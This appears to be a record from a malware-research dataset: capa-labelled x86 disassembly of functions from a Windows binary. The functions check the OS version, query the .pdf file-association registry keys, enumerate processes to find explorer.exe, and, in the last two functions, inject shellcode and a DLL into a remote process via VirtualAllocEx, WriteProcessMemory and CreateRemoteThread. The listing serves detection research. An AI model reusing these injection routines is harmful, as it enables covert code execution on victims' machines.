joyce8/EMBER2024-capa huggingface dataset:
Function at 0x482050
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5780e7
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00407e20
mov ecx, eax
test ecx, ecx
jne 0x482093
push 0x80004005
call fcn.004079f0
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x128], esi
push 0x110
lea eax, [ebp - 0x120]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
mov dword [ebp - 0x124], 0x114
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
or edi, 0xffffffff
cmp dword [ebp - 0x120], 5
je 0x48223a
push str.SoftwareClasses_
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x134], 0
call fcn.00407900
push str..pdf
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x12c]
call fcn.0044c1e0
add esp, 4
push eax
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 2
call fcn.00402ed0
mov byte [ebp - 4], 1
mov eax, edi
mov edx, dword [ebp - 0x12c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x482149
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, edi
mov edx, dword [ebp - 0x130]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x48216a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x128]
lea eax, [ebp - 0x134]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x2003f
push 0
push esi
push SysReAllocStringLen
call ebx
test eax, eax
je 0x48223a
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts_
lea ecx, [ebp - 0x12c]
call fcn.00407900
push str..pdf
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x130]
call fcn.0044c1e0
add esp, 4
push eax
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 4
call fcn.00402ed0
mov byte [ebp - 4], 3
mov eax, edi
mov edx, dword [ebp - 0x130]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4821ee
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, edi
mov edx, dword [ebp - 0x12c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x48220f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x134]
push eax
push 0x2003f
push 0
lea eax, [ebp - 0x138]
push eax
push SysReAllocStringLen
call ebx
mov esi, dword [ebp - 0x128]
xor ebx, ebx
test eax, eax
setne bl
jmp 0x48223c
xor ebx, ebx
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x482258
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x482280
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x578118
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x5c7128]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
call fcn.00407e20
mov ecx, eax
test ecx, ecx
jne 0x4822be
push 0x80004005
call fcn.004079f0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push str..pdf
mov dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerFileExts_sUserChoice
push eax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x104
mov dword [ebp - 0x14], 0
call fcn.00423d10
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push str.Progid
push esi
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x482323
xor edi, edi
jmp 0x482337
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00547b35
add esp, 8
mov edi, eax
neg edi
sbb edi, edi
inc edi
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x482356
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4829e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5781a8
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov dword [ebp - 0x130], esi
call fcn.00406e20
add esp, 4
add eax, 0x10
mov ecx, SysReAllocStringLen
mov dword [esi], eax
call fcn.00480ae0
mov eax, dword [ebp + 8]
mov esi, esp
add eax, 0xfffffff0
mov dword [ebp - 0x130], esi
push eax
call fcn.00406e20
add esp, 4
add eax, 0x10
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esi], eax
call fcn.00480ae0
push 0x11c
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.0051a2e0
add esp, 0x10
mov dword [ebp - 0x12c], 0x11c
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x128], 0xa
je 0x482a9f
call fcn.00482d10
test eax, eax
je 0x482b07
mov eax, dword [ebp + 8]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov dword [ebp - 0x130], esi
call fcn.00406e20
add esp, 4
add eax, 0x10
mov ecx, SysReAllocStringLen
mov dword [esi], eax
call fcn.00481110
mov eax, dword [ebp + 8]
mov esi, esp
add eax, 0xfffffff0
mov dword [ebp - 0x130], esi
push eax
call fcn.00406e20
add esp, 4
add eax, 0x10
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov dword [esi], eax
call fcn.00481110
add esp, 4
mov ecx, str.PDFConverter
call fcn.00482730
test eax, eax
je 0x482b07
mov edx, str.PDFConverter
call fcn.00482370
push 0
push 0
push 0x3000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x482b3d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret

Function at 0x482d10
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x11c], 6
jne 0x482d7c
mov eax, dword [ebp - 0x118]
cmp eax, 2
je 0x482d69
cmp eax, 3
jne 0x482d7c
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x483910
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x578300
mov eax, dword fs:[0]
push eax
sub esp, 0x20c
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
lea eax, [ebp - 0x218]
push dword [ebp + 8]
push 0x104
push eax
push 0x59f18c
push dword [ebp + 0xc]
push str.conv
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, 0x2a
cmp ax, word [ebp - 0x218]
je 0x4839ba
lea edx, [ebp - 0x218]
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x483995
sub edx, esi
lea eax, [ebp - 0x218]
sar edx, 1
mov ecx, edi
push edx
push eax
call fcn.00407740
mov edi, 1
jmp 0x4839bc
xor edi, edi
mov byte [ebp - 4], 0
or esi, 0xffffffff
mov edx, dword [ebp + 8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4839dd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x4839fc
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x487180
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4871b6
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
push edi
push 0x228
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x230], 0x22c
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x48723d
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
mov eax, str.explorer.exe
lea ecx, [ebp - 0x20c]
nop dword [eax + eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x487226
test dx, dx
je 0x487222
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x487226
add ecx, 4
add eax, 4
test dx, dx
jne 0x487200
xor eax, eax
jmp 0x48722b
sbb eax, eax
or eax, 1
test eax, eax
je 0x48724f
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
jne 0x4871f0
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x228]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x487330
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5785fb
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x248], ecx
mov edi, dword [ebp + 8]
test edi, edi
je 0x487372
mov ecx, edi
call fcn.004521a0
cmp dword [0x5cdea4], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jne 0x48739b
push str.QueryFullProcessImageNameW
push str.Kernel32.dll
call ebx
push eax
call esi
mov dword [0x5cdea4], eax
cmp dword [0x5cdea0], 0
jne 0x4873b8
push str.NtQueryInformationProcess
push str.ntdll
call ebx
push eax
call esi
mov dword [0x5cdea0], eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x244], esi
cmp esi, 0xffffffff
je 0x487408
push 0x228
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x487426
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
xor ebx, ebx
call fcn.00407e20
test eax, eax
je 0x48753d
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x240], esi
mov dword [ebp - 4], 0
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x487476
push 0x104
lea ecx, [ebp - 0x240]
call fcn.00407460
mov esi, dword [ebp - 0x240]
push ecx
mov ecx, dword [ebp - 0x234]
mov edx, esi
call fcn.004870f0
push dword [esi - 8]
push esi
call fcn.0053732e
add esp, 0xc
test eax, eax
js 0x487533
cmp eax, dword [esi - 8]
jg 0x487533
xor ecx, ecx
mov dword [esi - 0xc], eax
mov word [esi + eax*2], cx
lea edx, [ebp - 0x240]
mov ecx, dword [ebp - 0x248]
call fcn.0049bac0
test eax, eax
je 0x4874e0
test edi, edi
je 0x4874df
push dword [ebp - 0x244]
lea eax, [ebp - 0x234]
push eax
push ecx
lea eax, [ebp - 0x250]
mov ecx, edi
push eax
call fcn.00454a80
inc ebx
mov dword [ebp - 0x23c], 0x22c
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x487509
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x244]
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x487428
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x48740a
push 0x80070057
call fcn.004079f0
push 0x80004005
call fcn.004079f0
int3
Function at 0x4876b0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57867b
mov eax, dword fs:[0]
push eax
sub esp, 0x220
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x21c], edi
mov ebx, ecx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x22c], 0
call fcn.00407e20
mov ecx, eax
test ecx, ecx
jne 0x48770d
push 0x80004005
call fcn.004079f0
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x220], esi
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x48779a
push dword [ebp - 0x21c]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x48779a
add esi, 0xfffffff0
push esi
call fcn.00406e20
add eax, 0x10
mov dword [ebp - 4], 0xffffffff
mov dword [ebx], eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x487895
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
jmp 0x487895
lea eax, [ebp - 0x228]
mov dword [ebp - 0x21c], 0
push eax
push 4
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x228], 0
push eax
push edi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x4877e5
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x48782b
mov eax, dword [0x5cdea4]
test eax, eax
jne 0x48780a
push str.QueryFullProcessImageNameW
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x5cdea4], eax
mov dword [ebp - 0x224], 0x104
test eax, eax
je 0x48782b
lea ecx, [ebp - 0x224]
push ecx
lea ecx, [ebp - 0x218]
push ecx
push 0
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x487840
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x220]
call fcn.00407740
mov esi, dword [ebp - 0x220]
add esi, 0xfffffff0
push esi
call fcn.00406e20
add eax, 0x10
mov dword [ebp - 4], 0xffffffff
mov dword [ebx], eax
add esp, 4
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x487895
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x487ca0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x578712
mov eax, dword fs:[0]
push eax
sub esp, 0x23c
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x244], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x248], edi
mov dword [ebp - 0x240], 0
call fcn.00407e20
mov ecx, eax
test ecx, ecx
jne 0x487d04
push 0x80004005
call fcn.004079f0
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push 0
mov dword [ebp - 4], 0
push 2
mov dword [ebp - 0x240], 1
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x487daa
push 0x228
lea eax, [ebp - 0x238]
push 0
push eax
call fcn.0051a2e0
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x487da3
cmp dword [ebp - 0x234], ebx
jne 0x487d91
lea eax, [ebp - 0x218]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x487d73
sub eax, edx
mov ecx, edi
sar eax, 1
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00407740
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x487d62
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004f598f
mov esp, ebp
pop ebp
ret

Function at 0x488540
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x5c7128]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push str.explorer.exe
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x4885b2
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x488590
jmp 0x4885be
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x234], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x234]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004f598f
mov esp, ebp
pop ebp
ret
Function at 0x488700
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push ecx
push 0
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x48871d
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push 0x100
push 0
push edi
call esi
mov ebx, eax
test ebx, ebx
je 0x4887dd
push 0
push 0x100
push 0x4886c0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x488772
push 4
push 0x1000
push 0x438
push 0
push edi
call esi
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
jne 0x488791
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0x438
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4887c1
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
test eax, eax
jne 0x4887ed
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push 0x438
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0x100
push ebx
push edi
call esi
push 0x8000
push 0x438
push dword [ebp - 4]
push edi
call esi
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x488f50
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5b61c0
push 0x51ddb0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x5c7128]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x30], eax
mov edi, ecx
mov dword [ebp - 0x20], edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x24], eax
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 4], ebx
push 4
push 0x1000
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x489035
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x24]
push dword [ebp - 0x30]
push edi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x489035
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x34], eax
jne 0x489035
push 0x5a2d30
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x489035
push esi
push esi
push edi
push eax
push esi
push esi
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x489035
mov eax, dword [ebp + 8]
test eax, eax
jne 0x489023
lea ebx, [eax + 1]
jmp 0x489032
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ebx, ebx
test eax, eax
sete bl
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.00489052
test ebx, ebx
je 0x489079
xor eax, eax
jmp 0x48908b
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x48908b
movzx eax, ax
or eax, 0x80070000
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret